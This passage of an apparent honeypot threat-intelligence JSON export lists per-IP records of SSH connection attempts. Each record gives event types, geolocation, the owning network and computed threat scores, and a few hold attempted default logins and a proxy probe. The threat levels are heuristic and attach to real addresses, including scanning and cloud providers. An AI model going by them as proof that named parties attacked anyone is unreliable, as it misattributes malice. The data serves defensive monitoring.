      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 6
      }
    },
    "35.187.8.160": {
      "attack_count": 9,
      "first_seen": "2026-05-11T07:29:55.595Z",
      "last_seen": "2026-05-11T07:30:04.937Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T07:29:55.595000+00:00",
        "last_seen_30d": "2026-05-11T07:31:10.363000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 5
      }
    },
    "101.126.135.131": {
      "attack_count": 8,
      "first_seen": "2026-05-25T17:19:43.766Z",
      "last_seen": "2026-05-25T17:30:27.486Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T17:19:43.766000+00:00",
        "last_seen_30d": "2026-05-25T17:41:28.414000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "160.119.76.110": {
      "attack_count": 8,
      "first_seen": "2026-05-22T04:54:17.891Z",
      "last_seen": "2026-05-25T08:53:33.070Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 44.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.1,
        "persistence": 3.3,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 4,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-22T00:04:37.247000+00:00",
        "last_seen_30d": "2026-05-25T08:54:43.360000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Cowrie": 8,
        "Honeytrap": 5,
        "Tanner": 1
      }
    },
    "40.124.174.187": {
      "attack_count": 7,
      "first_seen": "2026-05-02T01:53:36.578Z",
      "last_seen": "2026-05-02T01:53:46.578Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 62.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.6,
        "persistence": 20.0,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 24,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T01:53:08.791000+00:00",
        "last_seen_30d": "2026-05-25T21:28:09.044000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Cowrie": 7,
        "Honeytrap": 4,
        "Dionaea": 2,
        "H0neytr4p": 1
      }
    },
    "190.14.129.197": {
      "attack_count": 6,
      "first_seen": "2026-05-24T01:02:08.386Z",
      "last_seen": "2026-05-24T01:05:56.551Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Guatemala",
      "country_code": "GT",
      "city": "Guatemala City",
      "asn": 52362,
      "as_org": "Servicios Innovadores de Comunicacion y Entretenimiento, S.A.",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T01:00:33.057000+00:00",
        "last_seen_30d": "2026-05-24T01:07:03.182000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "190.52.100.36": {
      "attack_count": 6,
      "first_seen": "2026-05-24T00:55:21.795Z",
      "last_seen": "2026-05-24T01:01:24.518Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 394684,
      "as_org": "GOLD DATA USA INC",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T00:55:21.795000+00:00",
        "last_seen_30d": "2026-05-24T01:03:07.258000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "192.42.116.18": {
      "attack_count": 6,
      "first_seen": "2026-05-11T10:37:12.762Z",
      "last_seen": "2026-05-11T10:37:18.189Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "nil"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 42.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.6,
        "persistence": 11.7,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 14,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-11T10:37:12.762000+00:00",
        "last_seen_30d": "2026-05-24T01:27:52.305000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "H0neytr4p": 9,
        "Ciscoasa": 7,
        "Cowrie": 6
      }
    },
    "201.238.0.127": {
      "attack_count": 6,
      "first_seen": "2026-05-22T06:46:56.991Z",
      "last_seen": "2026-05-22T09:07:38.899Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T06:46:56.991000+00:00",
        "last_seen_30d": "2026-05-22T09:08:47.108000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "77.91.118.46": {
      "attack_count": 6,
      "first_seen": "2026-05-19T04:59:36.549Z",
      "last_seen": "2026-05-19T04:59:36.944Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tambov",
      "asn": 209896,
      "as_org": "Contrust Solutions S.R.L.",
      "threat_score": 51.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.2,
        "persistence": 6.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 827,
        "days_active_30d": 8,
        "ports_targeted_30d": 133,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-13T09:56:16+00:00",
        "last_seen_30d": "2026-05-20T02:55:40.275000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 549,
        "Honeytrap": 258,
        "CitrixHoneypot": 11,
        "Cowrie": 6,
        "Dionaea": 2,
        "Ipphoney": 1
      }
    },
    "103.171.69.107": {
      "attack_count": 5,
      "first_seen": "2026-05-21T19:24:06.701Z",
      "last_seen": "2026-05-21T19:24:08.642Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "socks"
      ],
      "passwords_attempted": [
        "socks"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T19:24:06.701000+00:00",
        "last_seen_30d": "2026-05-21T19:25:13.029000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "198.235.24.129": {
      "attack_count": 4,
      "first_seen": "2026-05-25T22:12:17.086Z",
      "last_seen": "2026-05-25T22:12:20.739Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.1,
        "persistence": 15.8,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 19,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-13T00:10:39.862000+00:00",
        "last_seen_30d": "2026-05-31T20:09:32.283000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 4,
        "Honeytrap": 3,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "201.238.0.112": {
      "attack_count": 4,
      "first_seen": "2026-05-20T06:57:30.385Z",
      "last_seen": "2026-05-20T07:15:42.043Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T06:57:30.385000+00:00",
        "last_seen_30d": "2026-05-20T07:16:47.032000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "34.204.10.19": {
      "attack_count": 4,
      "first_seen": "2026-05-05T00:58:03.131Z",
      "last_seen": "2026-05-05T00:58:07.674Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 72.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.6,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 25,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-04T00:45:58+00:00",
        "last_seen_30d": "2026-05-28T01:00:26.813000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 5,
        "Cowrie": 4,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "51.81.210.209": {
      "attack_count": 4,
      "first_seen": "2026-05-31T18:18:00.613Z",
      "last_seen": "2026-05-31T18:18:00.819Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "CONNECT icanhazip.com:443 HTTP/1.1",
        "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Host: icanhazip.com:443"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T18:18:00.613000+00:00",
        "last_seen_30d": "2026-05-31T18:19:01.654000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "66.132.172.217": {
      "attack_count": 4,
      "first_seen": "2026-05-17T07:34:14.753Z",
      "last_seen": "2026-05-17T07:34:30.868Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 188,
        "days_active_30d": 28,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-04T13:16:40.419000+00:00",
        "last_seen_30d": "2026-05-31T20:04:38.643000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 112,
        "Honeytrap": 58,
        "Tanner": 8,
        "Cowrie": 4,
        "Dionaea": 3,
        "H0neytr4p": 2,
        "Ipphoney": 1
      }
    },
    "102.66.146.251": {
      "attack_count": 2,
      "first_seen": "2026-05-12T11:34:48.989Z",
      "last_seen": "2026-05-12T11:35:02.132Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Uitenhage",
      "asn": 328471,
      "as_org": "Hero-Telecoms",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:34:48.989000+00:00",
        "last_seen_30d": "2026-05-12T11:36:03.486000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.46.201.185": {
      "attack_count": 2,
      "first_seen": "2026-05-05T07:56:15.524Z",
      "last_seen": "2026-05-05T07:56:27.327Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 133982,
      "as_org": "Excitel Broadband Private Limited",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T07:56:15.524000+00:00",
        "last_seen_30d": "2026-05-05T07:57:30.981000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.73.101.174": {
      "attack_count": 2,
      "first_seen": "2026-05-27T08:02:14.017Z",
      "last_seen": "2026-05-27T08:02:26.816Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 136969,
      "as_org": "KK Networks Pvt Ltd.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T08:02:14.017000+00:00",
        "last_seen_30d": "2026-05-27T08:03:28.764000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.176.39.76": {
      "attack_count": 2,
      "first_seen": "2026-05-22T22:33:17.378Z",
      "last_seen": "2026-05-22T22:33:44.521Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:33:17.378000+00:00",
        "last_seen_30d": "2026-05-22T22:34:48.914000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.166.240.74": {
      "attack_count": 2,
      "first_seen": "2026-05-24T04:20:10.318Z",
      "last_seen": "2026-05-24T04:22:10.320Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:20:10.318000+00:00",
        "last_seen_30d": "2026-05-24T04:32:53.919000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "114.55.170.161": {
      "attack_count": 2,
      "first_seen": "2026-05-24T15:28:56.829Z",
      "last_seen": "2026-05-24T15:28:56.830Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T15:28:56.829000+00:00",
        "last_seen_30d": "2026-05-24T15:30:06.487000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.28.218.112": {
      "attack_count": 2,
      "first_seen": "2026-05-22T00:10:46.828Z",
      "last_seen": "2026-05-22T00:11:17.380Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cagayan de Oro",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:10:46.828000+00:00",
        "last_seen_30d": "2026-05-22T00:12:20.074000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.107.12.96": {
      "attack_count": 2,
      "first_seen": "2026-05-17T04:09:00.584Z",
      "last_seen": "2026-05-17T04:09:13.390Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 4804,
      "as_org": "Microplex PTY LTD",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T04:09:00.584000+00:00",
        "last_seen_30d": "2026-05-17T04:10:20.122000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.233.16.22": {
      "attack_count": 2,
      "first_seen": "2026-05-19T12:22:04.320Z",
      "last_seen": "2026-05-19T12:22:17.340Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Huzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T12:22:04.320000+00:00",
        "last_seen_30d": "2026-05-19T12:23:46.930000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "136.158.32.120": {
      "attack_count": 2,
      "first_seen": "2026-05-11T01:44:03.212Z",
      "last_seen": "2026-05-11T01:44:16.800Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Pasig",
      "asn": 17639,
      "as_org": "Converge ICT Solutions Inc.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T01:44:03.212000+00:00",
        "last_seen_30d": "2026-05-11T01:45:19.120000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "139.64.31.225": {
      "attack_count": 2,
      "first_seen": "2026-05-05T15:21:05.538Z",
      "last_seen": "2026-05-05T15:21:18.129Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Dammam",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T15:21:05.538000+00:00",
        "last_seen_30d": "2026-05-05T15:22:20.401000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "167.179.45.252": {
      "attack_count": 2,
      "first_seen": "2026-05-20T12:20:52.124Z",
      "last_seen": "2026-05-20T12:21:03.714Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Cambodia",
      "country_code": "KH",
      "city": "Phnom Penh",
      "asn": 9902,
      "as_org": "NEOCOMISP LIMITED, IPTX Transit and Network Service Provider in Cambodia.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T12:20:52.124000+00:00",
        "last_seen_30d": "2026-05-20T12:22:20.753000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "167.58.174.214": {
      "attack_count": 2,
      "first_seen": "2026-05-16T18:27:56.835Z",
      "last_seen": "2026-05-16T18:28:09.991Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
